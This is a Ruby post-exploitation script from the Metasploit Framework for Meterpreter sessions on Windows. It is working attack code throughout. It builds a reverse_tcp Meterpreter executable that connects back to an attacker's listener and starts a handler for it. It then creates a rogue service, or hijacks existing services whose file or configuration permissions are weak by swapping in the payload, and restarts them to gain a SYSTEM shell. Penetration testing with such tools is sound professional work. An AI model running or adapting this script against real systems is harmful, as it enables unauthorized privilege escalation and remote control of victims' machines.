metasploit-framework/scripts/meterpreter/service_permissions_escalat...

201 lines
7.3 KiB
Ruby

##
# Many services are configured with insecure permissions. This
# script attempts to create a service, then searches through a list of
# existing services to look for insecure file or configuration
# permissions that will let it replace the executable with a payload.
# It will then attempt to restart the replaced service to run the
# payload. If that fails, the next time the service is started (such as
# on reboot) the attacker will gain elevated privileges.
#
# scriptjunkie googlemail com
#
##
if client.platform !~ /win32/
print_error("This version of Meterpreter is not supported with this Script!")
raise Rex::Script::Completed
end
#
# Options
#
opts = Rex::Parser::Arguments.new(
"-a" => [ false, "Aggressive mode - exploit as many services as possible (can be dangerous!)"],
"-h" => [ false, "This help menu"],
"-r" => [ true, "The IP of the system running Metasploit listening for the connect back"],
"-p" => [ true, "The port on the remote host where Metasploit is listening"]
)
#
# Default parameters
#
rhost = Rex::Socket.source_address("1.2.3.4")
rport = 4444
aggressive = false
#
# Option parsing
#
opts.parse(args) do |opt, idx, val|
case opt
when "-a"
aggressive = true
when "-h"
print_status("Generic weak service permissions privilege escalation.")
print_line(opts.usage)
raise Rex::Script::Completed
when "-r"
rhost = val
when "-p"
rport = val.to_i
end
end
# Get the exe payload.
pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp")
pay.datastore['LHOST'] = rhost
pay.datastore['LPORT'] = rport
raw = pay.generate
exe = Msf::Util::EXE.to_win32pe(client.framework, raw)
#and placing it on the target in %TEMP%
tempdir = client.fs.file.expand_path("%TEMP%")
tempexename = Rex::Text.rand_text_alpha((rand(8)+6))
tempexe = tempdir + "\\" + tempexename + ".exe"
print_status("Preparing connect back payload to host #{rhost} and port #{rport} at #{tempexe}")
fd = client.fs.file.new(tempexe, "wb")
fd.write(exe)
fd.close
#get handler to be ready
handler = client.framework.exploits.create("multi/handler")
handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp"
handler.datastore['LHOST'] = rhost
handler.datastore['LPORT'] = rport
handler.datastore['InitialAutoRunScript'] = "migrate -f"
handler.datastore['ExitOnSession'] = false
#start a handler to be ready
handler.exploit_simple(
'Payload' => handler.datastore['PAYLOAD'],
'RunAsJob' => true
)
#attempt to make new service
client.railgun.kernel32.LoadLibraryA("advapi32.dll")
client.railgun.get_dll('advapi32')
client.railgun.add_function( 'advapi32', 'DeleteService','BOOL',[
[ "DWORD", "hService", "in" ]
])
#SERVICE_NO_CHANGE 0xffffffff for DWORDS or NULL for pointer values leaves the current config
print_status("Trying to add a new service...")
adv = client.railgun.advapi32
manag = adv.OpenSCManagerA(nil,nil,0x10013)
if(manag["return"] != 0)
# SC_MANAGER_CREATE_SERVICE = 0x0002
newservice = adv.CreateServiceA(manag["return"],"walservice","Windows Application Layer",0x0010,0X00000010,2,0,tempexe,nil,nil,nil,nil,nil)
#SERVICE_START=0x0010 SERVICE_WIN32_OWN_PROCESS= 0X00000010
#SERVICE_AUTO_START = 2 SERVICE_ERROR_IGNORE = 0
if(newservice["return"] != 0)
print_status("Created service... #{newservice["return"]}")
ret = adv.StartServiceA(newservice["return"], 0, nil)
print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.")
service_delete("walservice")
adv.CloseServiceHandle(newservice["return"])
if aggressive == false
adv.CloseServiceHandle(manag["return"])
raise Rex::Script::Completed
end
else
print_status("Uhoh. service creation failed, but we should have the permissions. :-(")
end
else
print_status("No privs to create a service...")
manag = adv.OpenSCManagerA(nil,nil,1)
if(manag["return"] == 0)
print_status("Cannot open sc manager. You must have no privs at all. Ridiculous.")
end
end
print_status("Trying to find weak permissions in existing services..")
#Search through list of services to find weak permissions, whether file or config
serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
#for each service
service_list.each do |serv|
begin
srvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_s
if srvtype != "16"
continue
end
moved = false
configed = false
#default path, but there should be an ImagePath registry key
source = client.fs.file.expand_path("%SYSTEMROOT%\\system32\\#{serv}.exe")
#get path to exe; parse out quotes and arguments
sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s
sourcemaybe = client.fs.file.expand_path(sourceorig)
if( sourcemaybe[0] == '"' )
sourcemaybe = sourcemaybe.split('"')[1]
else
sourcemaybe = sourcemaybe.split(' ')[0]
end
begin
client.fs.file.stat(sourcemaybe) #check if it really exists
source = sourcemaybe
rescue
print_status("Cannot reliably determine path for #{serv} executable. Trying #{source}")
end
#try to exploit weak file permissions
if(source != tempexe && client.railgun.kernel32.MoveFileA(source, source+'.bak')["return"])
client.railgun.kernel32.CopyFileA(tempexe, source, false)
print_status("#{serv} has weak file permissions - #{source} moved to #{source + '.bak'} and replaced.")
moved = true
end
#try to exploit weak config permissions
#open with SERVICE_CHANGE_CONFIG (0x0002)
servhandleret = adv.OpenServiceA(manag["return"],serv,2)
if(servhandleret["return"] != 0)
#SERVICE_NO_CHANGE is 0xFFFFFFFF
if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil))
print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.")
configed = true
end
adv.CloseServiceHandle(servhandleret["return"])
end
if(moved != true && configed != true)
print_status("No exploitable weak permissions found on #{serv}")
continue
end
print_status("Restarting #{serv}")
#open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020)
servhandleret = adv.OpenServiceA(manag["return"],serv,0x30)
if(servhandleret["return"] != 0)
#SERVICE_CONTROL_STOP = 0x00000001
if(adv.ControlService(servhandleret["return"],1,56))
client.railgun.kernel32.Sleep(1000)
adv.StartServiceA(servhandleret["return"],0,nil)
print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.")
#Cleanup
if moved == true
client.railgun.kernel32.MoveFileExA(source+'.bak', source, 1)
end
if configed == true
servhandleret = adv.OpenServiceA(manag["return"],serv,2)
adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil)
adv.CloseServiceHandle(servhandleret["return"])
end
if aggressive == false
raise Rex::Script::Completed
end
else
print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)")
end
adv.CloseServiceHandle(servhandleret["return"])
else
print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)")
end
rescue
end
end